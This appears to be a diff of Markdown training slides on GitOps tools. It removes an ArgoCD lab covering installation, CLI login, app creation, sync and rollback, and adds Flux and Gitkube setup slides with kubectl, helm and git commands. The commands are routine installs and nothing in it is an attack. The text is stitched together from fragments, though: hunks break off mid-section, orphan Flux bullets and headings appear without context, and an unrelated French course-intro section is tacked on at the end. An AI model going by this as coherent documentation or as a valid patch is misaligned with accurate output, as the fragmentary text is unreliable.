-# ArgoCD
-
-- We're going to implement a basic GitOps workflow with ArgoCD
-
-- Pushing to the default branch will automatically deploy to our clusters
-
-- There will be two clusters (`dev` and `prod`)
-
-- The two clusters will have similar (but slightly different) workloads
-
-![ArgoCD Logo](images/argocdlogo.png)
-
----
-
-## ArgoCD concepts
-
-ArgoCD manages **applications** by **syncing** their **live state** with their **target state**.
-
-- **Application**: a group of Kubernetes resources managed by ArgoCD.
-  <br/>
-  Also a custom resource (`kind: Application`) managing that group of resources.
-
-- **Application source type**: the **Tool** used to build the application (Kustomize, Helm...)
-
-- **Target state**: the desired state of an **application**, as represented by the git repository.
-
-- **Live state**: the current state of the application on the cluster.
-
-- **Sync status**: whether or not the live state matches the target state.
-
-- **Sync**: the process of making an application move to its target state.
-  <br/>
-  (e.g. by applying changes to a Kubernetes cluster)
-
-(Check [ArgoCD core concepts](https://argo-cd.readthedocs.io/en/stable/core_concepts/) for more definitions!)
-
----
-
-## Getting ready
-
-- Let's make sure we have two clusters
-
-- It's OK to use local clusters (kind, minikube...)
-
-- We need to install the ArgoCD CLI ([packages], [binaries])
-
-- **Highly recommended:** set up CLI completion!
-
-- Of course we'll need a Git service, too
-
-[packages]: https://argo-cd.readthedocs.io/en/stable/cli_installation/
-[binaries]: https://github.com/argoproj/argo-cd/releases/latest
-
----
-
-## Setting up ArgoCD
-
-- The easiest way is to use upstream YAML manifests
-
-- There is also a [Helm chart][argohelmchart] if we need more customization
-
-.lab[
-
-- Create a namespace for ArgoCD and install it there:
-  ```bash
-  kubectl create namespace argocd
-  kubectl apply --namespace argocd -f \
-      https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml
-  ```
-
-]
-
-[argohelmchart]: https://artifacthub.io/packages/helm/argo/argocd-apps
-
----
-
-## Logging in with the ArgoCD CLI
-
-- The CLI can talk to the ArgoCD API server or to the Kubernetes API server
-
-- For simplicity, we're going to authenticate and communicate with the Kubernetes API
-
-.lab[
-
-- Authenticate with the ArgoCD API (that's what the `--core` flag does):
-  ```bash
-  argocd login --core
-  ```
-
-- Check that everything is fine:
-  ```bash
-  argocd version
-  ```
-]
-
---
-
-🤔 `FATA[0000] error retrieving argocd-cm: configmap "argocd-cm" not found`
-
----
-
-## ArgoCD CLI shortcomings
-
-- When using "core" authentication, the ArgoCD CLI uses our current Kubernetes context
-
-  (as defined in our kubeconfig file)
-
-- That context need to point to the correct namespace
-
-  (the namespace where we installed ArgoCD)
-
-- In fact, `argocd login --core` doesn't communicate at all with ArgoCD!
-
-  (it only updates a local ArgoCD configuration file)
-
----
-
-## Trying again in the right namespace
-
-- We will need to run all `argocd` commands in the `argocd` namespace
-
-  (this limitation only applies to "core" authentication; see [issue 14167][issue14167])
-
-.lab[
-
-- Switch to the `argocd` namespace:
-  ```bash
-  kubectl config set-context --current --namespace argocd
-  ```
-
-- Check that we can communicate with the ArgoCD API now:
-  ```bash
-  argocd version
-  ```
-
-]
-
-- Let's have a look at ArgoCD architecture!
-
-[issue14167]: https://github.com/argoproj/argo-cd/issues/14167
-
----
-
-class: pic
-
-![ArgoCD Architecture](images/argocd_architecture.png)
-
----
-
-## ArgoCD API Server
-
-The API server is a gRPC/REST server which exposes the API consumed by the Web UI, CLI, and CI/CD systems. It has the following responsibilities:
-
-- application management and status reporting
-
-- invoking of application operations (e.g. sync, rollback, user-defined actions)
-
-- repository and cluster credential management (stored as K8s secrets)
-
-- authentication and auth delegation to external identity providers
-
-- RBAC enforcement
-
-- listener/forwarder for Git webhook events
-
----
-
-## ArgoCD Repository Server
-
-The repository server is an internal service which maintains a local cache of the Git repositories holding the application manifests. It is responsible for generating and returning the Kubernetes manifests when provided the following inputs:
-
-- repository URL
-
-- revision (commit, tag, branch)
-
-- application path
-
-- template specific settings: parameters, helm values...
-
----
-
-## ArgoCD Application Controller
-
-The application controller is a Kubernetes controller which continuously monitors running applications and compares the current, live state against the desired target state (as specified in the repo). 
-
-It detects *OutOfSync* application state and optionally takes corrective action. 
-
-It is responsible for invoking any user-defined hooks for lifecycle events (*PreSync, Sync, PostSync*).
-
----
-
-## Preparing a repository for ArgoCD
-
-- We need a repository with Kubernetes YAML manifests
-
-- You can fork [kubercoins] or create a new, empty repository
-
-- If you create a new, empty repository, add some manifests to it
-
-[kubercoins]: https://github.com/jpetazzo/kubercoins
-
----
-
-## Add an Application
-
-- An Application can be added to ArgoCD via the web UI or the CLI
-
-  (either way, this will create a custom resource of `kind: Application`)
-
-- The Application should then automatically be deployed to our cluster
-
-  (the application manifests will be "applied" to the cluster)
-
-.lab[
-
-- Let's use the CLI to add an Application:
-  ```bash
-    argocd app create kubercoins \ 
-           --repo https://github.com/`<your_user>/<your_repo>`.git \
-           --path . --revision `<branch>` \
-           --dest-server https://kubernetes.default.svc \
-           --dest-namespace kubercoins-prod
-  ```
-
-]
-
----
-
-## Checking progress
-
-- We can see sync status in the web UI or with the CLI
-
-.lab[
-
-- Let's check app status with the CLI:
-  ```bash
-  argocd app list
-  ```
-
-- We can also check directly with the Kubernetes CLI:
-  ```bash
-  kubectl get applications
-  ```
-
-]
-
-- The app is there and it is `OutOfSync`!
-
----
-
-## Manual sync with the CLI
-
-- By default the "sync policy" is `manual`
-
-- It can also be set to `auto`, which would check the git repository every 3 minutes
-
-  (this interval can be [configured globally][pollinginterval])
-
-- Manual sync can be triggered with the CLI
-
-.lab[
-
-- Let's force an immediate sync of our app:
-  ```bash
-    argocd app sync kubercoins
-  ```
-]
-
-🤔 We're getting errors!
-
-[pollinginterval]: https://argo-cd.readthedocs.io/en/stable/faq/#how-often-does-argo-cd-check-for-changes-to-my-git-or-helm-repository
-
----
-
-## Sync failed
-
-We should receive a failure:
-
-`FATA[0000] Operation has completed with phase: Failed`
-
-And in the output, we see more details:
-
-`Message: one or more objects failed to apply,`
-<br/>
-`reason: namespaces "kubercoins-prod" not found`
-
----
-
-## Creating the namespace
-
-- There are multiple ways to achieve that
-
-- We could generate a YAML manifest for the namespace and add it to the git repository
-
-- Or we could use "Sync Options" so that ArgoCD creates it automatically!
-
-- ArgoCD provides many "Sync Options" to handle various edge cases
-
-- Some [others](https://argo-cd.readthedocs.io/en/stable/user-guide/sync-options/) are: `FailOnSharedResource`, `PruneLast`, `PrunePropagationPolicy`...
-
----
-
-## Editing the app's sync options
-
-- This can be done through the web UI or the CLI
-
-.lab[
-
-- Let's use the CLI once again:
-  ```bash
-  argocd app edit kubercoins
-  ```
-
-- Add the following to the YAML manifest, at the root level:
-  ```yaml
-    syncPolicy:
-      syncOptions:
-        - CreateNamespace=true
-  ```
-
-]
-
----
-
-## Sync again
-
-.lab[
-
-- Let's retry the sync operation:
-  ```bash
-  argocd app sync kubercoins
-  ```
-
-- And check the application status:
-  ```bash
-  argocd app list
-  kubectl get applications
-  ```
-
-]
-
-- It should show `Synced` and `Progressing`
-
-- After a while (when all pods are running correctly) it should be `Healthy`
-
----
-
-## Managing Applications via the Web UI
-
-- ArgoCD is popular in large part due to its browser-based UI
-
-- Let's see how to manage Applications in the web UI
-
-.lab[
-
-- Expose the web dashboard on a local port:
-  ```bash
-  argocd admin dashboard
-  ```
-
-- This command will show the dashboard URL; open it in a browser
-
-- Authentication should be automatic
-
-]
-
-Note: `argocd admin dashboard` is similar to `kubectl port-forward` or `kubectl-proxy`.
-
-(The dashboard remains available as long as `argocd admin dashboard` is running.)
-
----
-
-## Adding a staging Application
-
-- Let's add another Application for a staging environment
-
-- First, create a new branch (e.g. `staging`) in our kubercoins fork
-
-- Then, in the ArgoCD web UI, click on the "+ NEW APP" button
-
-  (on a narrow display, it might just be "+", right next to buttons looking like 🔄 and ↩️)
-
-- See next slides for details about that form!
-
----
-
-## Defining the Application
-
-| Field            | Value                                      |
-|------------------|--------------------------------------------|
-| Application Name | `kubercoins-stg`                           |
-| Project Name     | `default`                                  |
-| Sync policy      | `Manual`                                   |
-| Sync options     | check `auto-create namespace`              |
-| Repository URL   | `https://github.com/<username>/<reponame>` |
-| Revision         | `<branchname>`                             |
-| Path             | `.`                                        |
-| Cluster URL      | `https://kubernetes.default.svc`           |
-| Namespace        | `kubercoins-stg`                           |
-
-Then click on the "CREATE" button (top left).
-
----
-
-## Synchronizing the Application
-
-- After creating the app, it should now show up in the app tiles
-
-  (with a yellow outline to indicate that it's out of sync)
-
-- Click on the "SYNC" button on the app tile to show the sync panel
-
-- In the sync panel, click on "SYNCHRONIZE"
-
-- The app will start to synchronize, and should become healthy after a little while
-
----
-
-## Making changes
-
-- Let's make changes to our application manifests and see what happens
-
-.lab[
-
-- Make a change to a manifest
-
-  (for instance, change the number of replicas of a Deployment)
-
-- Commit that change and push it to the staging branch
-
-- Check the application sync status:
-  ```bash
-  argocd app list
-  ```
-
-]
-
-- After a short period of time (a few minutes max) the app should show up "out of sync"
-
----
-
-## Automated synchronization
-
-- We don't want to manually sync after every change
-
-  (that wouldn't be true continuous deployment!)
-
-- We're going to enable "auto sync"
-
-- Note that this requires much more rigorous testing and observability!
-
-  (we need to be sure that our changes won't crash our app or even our cluster)
-
-- Argo project also provides [Argo Rollouts][rollouts]
-
-  (a controller and CRDs to provide blue-green, canary deployments...)
-
-- Today we'll just turn on automated sync for the staging namespace
-
-[rollouts]: https://argoproj.github.io/rollouts/
-
----
-
-## Enabling auto-sync
-
-- In the web UI, go to *Applications* and click on *kubercoins-stg*
-
-- Click on the "DETAILS" button (top left, might be just a "i" sign on narrow displays)
-
-- Click on "ENABLE AUTO-SYNC" (under "SYNC POLICY")
-
-- After a few minutes the changes should show up!
-
----
-
-## Rolling back
-
-- If we deploy a broken version, how do we recover?
-
-- "The GitOps way": revert the changes in source control
-
-  (see next slide)
-
-- Emergency rollback:
-
-  - disable auto-sync (if it was enabled)
-
-  - on the app page, click on "HISTORY AND ROLLBACK"
-    <br/>
-    (with the clock-with-backward-arrow icon)
-
-  - click on the "..." button next to the button we want to roll back to
-
-  - click "Rollback" and confirm
-
----
-
-## Rolling back with GitOps
-
-- The correct way to roll back is rolling back the code in source control
-
-```bash
-git checkout staging
-git revert HEAD
-git push origin staging
-```
-
----
-
-## Working with Helm
-
-- ArgoCD supports different tools to process Kubernetes manifests:
-
-  Kustomize, Helm, Jsonnet, and [Config Management Plugins][cmp]
-
-- Let's how to deploy Helm charts with ArgoCD!
-
-- In the [kubercoins] repository, there is a branch called [helm]
-
-- It provides a generic Helm chart, in the [generic-service] directory
-
-- There are service-specific values YAML files in the [values] directory
-
-- Let's create one application for each of the 5 components of our app!
-
-[cmp]: https://argo-cd.readthedocs.io/en/stable/operator-manual/config-management-plugins/
-[kubercoins]: https://github.com/jpetazzo/kubercoins
-[helm]: https://github.com/jpetazzo/kubercoins/tree/helm
-[generic-service]: https://github.com/jpetazzo/kubercoins/tree/helm/generic-service
-[values]: https://github.com/jpetazzo/kubercoins/tree/helm/values
-
----
-
-## Creating a Helm Application
-
-- The example below uses "upstream" kubercoins
-
-- Feel free to use your own fork instead!
-
-.lab[
-
-- Create an Application for `hasher`:
-  ```bash
-    argocd app create hasher \
-           --repo https://github.com/jpetazzo/kubercoins.git \
-           --path generic-service --revision helm \
-           --dest-server https://kubernetes.default.svc \
-           --dest-namespace kubercoins-helm \
-           --sync-option CreateNamespace=true \
-           --values ../values/hasher.yaml \
-           --sync-policy=auto
-  ```
-
-]
-
----
-
-## Deploying the rest of the application
-
-- Option 1: repeat the previous command (updating app name and values)
-
-- Option 2: author YAML manifests and apply them
-
----
-
-## Additional considerations
-
-- When running in production, ArgoCD can be integrated with an [SSO provider][sso]
-
-  - ArgoCD embeds and bundles [Dex] to delegate authentication
-
-  - it can also use an existing OIDC provider (Okta, Keycloak...)
-
-- A single ArgoCD instance can manage multiple clusters 
-
-  (but it's also fine to have one ArgoCD per cluster)
-
-- ArgoCD can be complemented with [Argo Rollouts][rollouts] for advanced rollout control
-
-  (blue/green, canary...)

-- Then it waits for these controllers to be up and running and ready
-
-- Check pod status in `flux-system`

-- If pods are `Pending`, check that you have enough resources on your cluster
-
-- For testing purposes, it should be fine to lower or remove Flux `requests`!

-## Idempotence

----
-
-## Waiting for reconciliation
-
-- Compare the git hash that we pushed and the one shown with `kubectl get `
-
-- Option 1: wait for Flux to pick up the changes in the repository
-
-  (the default interval for git repositories is 1 minute, so that's fast)

-- Option 2: use `flux reconcile source git flux-system`
-
-  (this puts an annotation on the appropriate resource, triggering an immediate check)

-- Add the namespace to the manifest and try again!

----
-
-## Adding an app in a reusable way
-
-- Let's see a technique to add a whole app
-
-  (with multiple resource manifets)
-
-- We want to minimize code repetition
-
-  (i.e. easy to add on multiple clusters with minimal changes)
-
----
-
-## The plan
-
-- Add the app manifests in a directory
-
-  (e.g.: `apps/myappname/manifests`)
-
-- Create a kustomization manifest for the app and its namespace
-
-  (e.g.: `apps/myappname/flux.yaml`)

-- The kustomization manifest will refer to the app manifest
-
-- Add the kustomization manifest to the top-level `flux-system` kustomization

-- Generate a basic Helm chart:
-  ```bash
-  mkdir -p charts
-  helm create charts/myapp
-  ```
-
-]

-## Creating the Flux manifests

-- Add a reference to that manifest to the top-level kustomization
-
-- `git add` / `git commit` / `git push` the chart, manifest, and kustomization
-

-## Passing values
-
-- We can also configure our Helm releases with values
-
-- Using an existing `myvalues.yaml` file:
-
-  `flux create helmrelease ... --values=myvalues.yaml`
-
-- Referencing an existing ConfigMap or Secret with a `values.yaml` key:
-
-  `flux create helmrelease ... --values-from=ConfigMap/myapp`
-
----
-
-## Gotchas
-
-- When creating a HelmRelease using a chart stored in a git repository, you must:
-
-  - either bump the chart version (in `Chart.yaml`) after each change,
-
-  - or set `spec.chart.spec.reconcileStrategy` to `Revision`
-
-- Why?
-
-- Flux installs helm releases using packaged artifacts
-
-- Artifacts are updated only when the Helm chart version changes
-
-- Unless `reconcileStrategy` is set to `Revision` (instead of the default `ChartVersion`)
-
----
-
-## More gotchas
-
-- There is a bug in Flux that prevents using identical subcharts with aliases

-## The road to production
+## Flux overview
 
-In no specific order, we need to at least:
+- We put our Kubernetes resources as YAML files in a git repository
 
-- Choose a tool
+- Flux polls that repository regularly (every 5 minutes by default)
 
-- Choose a cluster / app / namespace layout
-  <br/>
-  (one cluster per app, different clusters for prod/staging...)
+- The resources described by the YAML files are created/updated automatically
 
-- Choose a repository layout
-  <br/>
-  (different repositories, directories, branches per app, env, cluster...)
-
-- Choose an installation / bootstrap method
-
-- Choose how new apps / environments / versions will be deployed
-
-- Choose how new images will be built
+- Changes are made by updating the code in the repository
 
 ---
 
-## Flux vs ArgoCD (1/2)
+## Preparing a repository for Flux
 
-- Flux:
+- We need a repository with Kubernetes YAML files
 
-  - fancy setup with an (optional) dedicated `flux bootstrap` command
-    <br/>
-    (with support for specific git providers, repo creation...)
+- I have one: https://github.com/jpetazzo/kubercoins
 
-  - deploying an app requires multiple CRDs
-    <br/>
-    (Kustomization, HelmRelease, GitRepository...)
+- Fork it to your GitHub account
 
-  - supports Helm charts, Kustomize, raw YAML
+- Create a new branch in your fork; e.g. `prod`
 
-- ArgoCD:
+  (e.g. with "branch" dropdown through the GitHub web UI)
 
-  - simple setup (just apply YAMLs / install Helm chart)
-
-  - fewer CRDs (basic workflow can be implement with a single "Application" resource)
-
-  - supports Helm charts, Jsonnet, Kustomize, raw YAML, and arbitrary plugins
+- This is the branch that we are going to use for deployment
 
 ---
 
-## Flux vs ArgoCD (2/2)
+## Setting up Flux with kustomize
 
-- Flux:
+- Clone the Flux repository:
+  ```bash
+  git clone https://github.com/fluxcd/flux
+  cd flux
+  ```
 
-  - sync interval is configurable per app
-  - no web UI out of the box
-  - CLI relies on Kubernetes API access
-  - CLI can easily generate custom resource manifests (with `--export`)
-  - self-hosted (flux controllers are managed by flux itself by default)
-  - one flux instance manages a single cluster
+- Edit `deploy/flux-deployment.yaml`
 
-- ArgoCD:

-  - sync interval is configured globally
-  - comes with a web UI

-## Cluster, app, namespace layout
+## Setting up Flux with Helm
 
-- One cluster per app, different namespaces for environments?
+- Add Flux helm repo:
+  ```bash
+  helm repo add fluxcd https://charts.fluxcd.io
+  ```
 
-- One cluster per environment, different namespaces for apps?
-
-- Everything on a single cluster? One cluster per combination?
-
-- Something in between:
-
-  - prod cluster, database cluster, dev/staging/etc cluster
-
-  - prod+db cluster per app, shared dev/staging/etc cluster
-
-- And more!
-
-Note: this decision isn't really tied to GitOps!
+- Install Flux:
+  ```bash
+  kubectl create namespace flux
+  helm upgrade --install flux \
+    --set git.url=git@github.com:your-git-username/kubercoins \
+    --set git.branch=prod \
+    --namespace flux \
+    fluxcd/flux
+  ```
 
 ---
 
-## Repository layout
+## Allowing Flux to access the repository
 
-So many different possibilities!
+- When it starts, Flux generates an SSH key
 
-- Source repos
+- Display that key:
+  ```bash
+  kubectl -n flux logs deployment/flux | grep identity.pub | cut -d '"' -f2
+  ```
 
-- Cluster/infra repos/branches/directories
+- Then add that key to the repository, giving it **write** access
 
-- "Deployment" repos (with manifests, charts)
+  (some Flux features require write access)
 
-- Different repos/branches/directories for environments
-
-🤔 How to decide?
+- After a minute or so, DockerCoins will be deployed to the current namespace
 
 ---
 
-## Permissions
+## Making changes
 
-- Different teams/companies = different repos
+- Make changes (on the `prod` branch), e.g. change `replicas` in `worker`
 
-  - separate platform team → separate "infra" vs "apps" repos
-
-  - teams working on different apps → different repos per app
-
-- Branches can be "protected" (`production`, `main`...)
-
-  (don't need separate repos for separate environments)
-
-- Directories will typically have the same permissions
-
-- Managing directories is easier than branches
-
-- But branches are more "powerful" (cherrypicking, rebasing...)
+- After a few minutes, the changes will be picked up by Flux and applied
 
 ---
 
-## Resource hierarchy
+## Other features
 
-- Git-based deployments are managed by Kubernetes resources
+- Flux can keep a list of all the tags of all the images we're running
 
-  (e.g. Kustomization, HelmRelease with Flux; Application with ArgoCD)
+- The `fluxctl` tool can show us if we're running the latest images
 
-- We will call these resources "GitOps resources"
+- We can also "automate" a resource (i.e. automatically deploy new images)
 
-- These resources need to be managed like any other Kubernetes resource
-
-  (YAML manifests, Kustomizations, Helm charts)
-
-- They can be managed with Git workflows too!
+- And much more!
 
 ---
 
-## Cluster / infra management
+## Gitkube overview
 
-- How do we provision clusters?
+- We put our Kubernetes resources as YAML files in a git repository
 
-- Manual "one-shot" provisioning (CLI, web UI...)
+- Gitkube is a git server (or "git remote")
 
-- Automation with Terraform, Ansible...
+- After making changes to the repository, we push to Gitkube
 
-- Kubernetes-driven systems (Crossplane, CAPI)
-
-- Infrastructure can also be managed with GitOps
+- Gitkube applies the resources to the cluster
 
 ---
 
-## Example 1
+## Setting up Gitkube
 
-- Managed with YAML/Charts:
+- Install the CLI:
+  ```bash
+  sudo curl -L -o /usr/local/bin/gitkube \
+       https://github.com/hasura/gitkube/releases/download/v0.2.1/gitkube_linux_amd64
+  sudo chmod +x /usr/local/bin/gitkube
+  ```
 
-  - core components (CNI, CSI, Ingress, logging, monitoring...)
-
-  - GitOps controllers
-
-  - critical application foundations (database operator, databases)
-
-  - GitOps manifests
-
-- Managed with GitOps:
-
-  - applications
-
-  - staging databases
+- Install Gitkube on the cluster:
+  ```bash
+  gitkube install --expose ClusterIP
+  ```
 
 ---
 
-## Example 2
+## Creating a Remote
 
-- Managed with YAML/Charts:
+- Gitkube provides a new type of API resource: *Remote*
 
-  - essential components (CNI, CoreDNS)
+  (this is using a mechanism called Custom Resource Definitions or CRD)
 
-  - initial installation of GitOps controllers
+- Create and apply a YAML file containing the following manifest:
+  ```yaml
+	apiVersion: gitkube.sh/v1alpha1
+	kind: Remote
+	metadata:
+	  name: example
+	spec:
+	  authorizedKeys:
+	  - `ssh-rsa AAA...`
+	  manifests:
+	    path: "."
+  ```
 
-- Managed with GitOps:
-
-  - upgrades of GitOps controllers
-
-  - core components (CSI, Ingress, logging, monitoring...)
-
-  - operators, databases
-
-  - more GitOps manifests for applications!
+  (replace the `ssh-rsa AAA...` section with the content of `~/.ssh/id_rsa.pub`)
 
 ---
 
-## Concrete example
+## Pushing to our remote
 
-- Source code repository (not shown here)
+- Get the `gitkubed` IP address:
+  ```bash
+  kubectl -n kube-system get svc gitkubed
+  IP=$(kubectl -n kube-system get svc gitkubed -o json | 
+  	   jq -r .spec.clusterIP)
+  ```
 
-- Infrastructure repository (shown below), single branch
+- Get ourselves a sample repository with resource YAML files:
+  ```bash
+  git clone git://github.com/jpetazzo/kubercoins
+  cd kubercoins
+  ```
 
-```
-@@INCLUDE[slides/k8s/gitopstree.txt]
-```
+- Add the remote and push to it:
+  ```bash
+  git remote add k8s ssh://default-example@$IP/~/git/default-example
+  git push k8s master
+  ```
+
+---
+
+## Making changes
+
+- Edit a local file
+
+- Commit
+
+- Push!
+
+- Make sure that you push to the `k8s` remote
+
+---
+
+## Other features
+
+- Gitkube can also build container images for us
+
+  (see the [documentation](https://github.com/hasura/gitkube/blob/master/docs/remote.md) for more details)
+
+- Gitkube can also deploy Helm charts
+
+  (instead of raw YAML files)

-## Les 15 minutes du matin
-
-- Chaque jour, on commencera à 9h par une mini-présentation de 15 minutes
-
-  (sur un sujet choisi ensemble, pas forcément en relation avec la formation!)
-
-- L'occasion de s'échauffer les neurones avec 🥐/☕️/🍊
-
-  (avant d'attaquer les choses sérieuses)
-
-- Puis à 9h15 on rentre dans le vif du sujet
-
----
-
-## Travaux pratiques
-
-- À la fin de chaque matinée, il y a un exercice pratique concret
-
-  (pour mettre en œuvre ce qu'on a vu)
-
-- Les exercices font partie de la formation !
-
-- Ils sont prévus pour prendre entre 15 minutes et 2 heures
-
-  (selon les connaissances et l'aisance de chacun·e)
-
-- Chaque matinée commencera avec un passage en revue de l'exercice de la veille
-
-- On est là pour vous aider si vous bloquez sur un exercice !
-
----
-
-## Allô Docker¹ ?
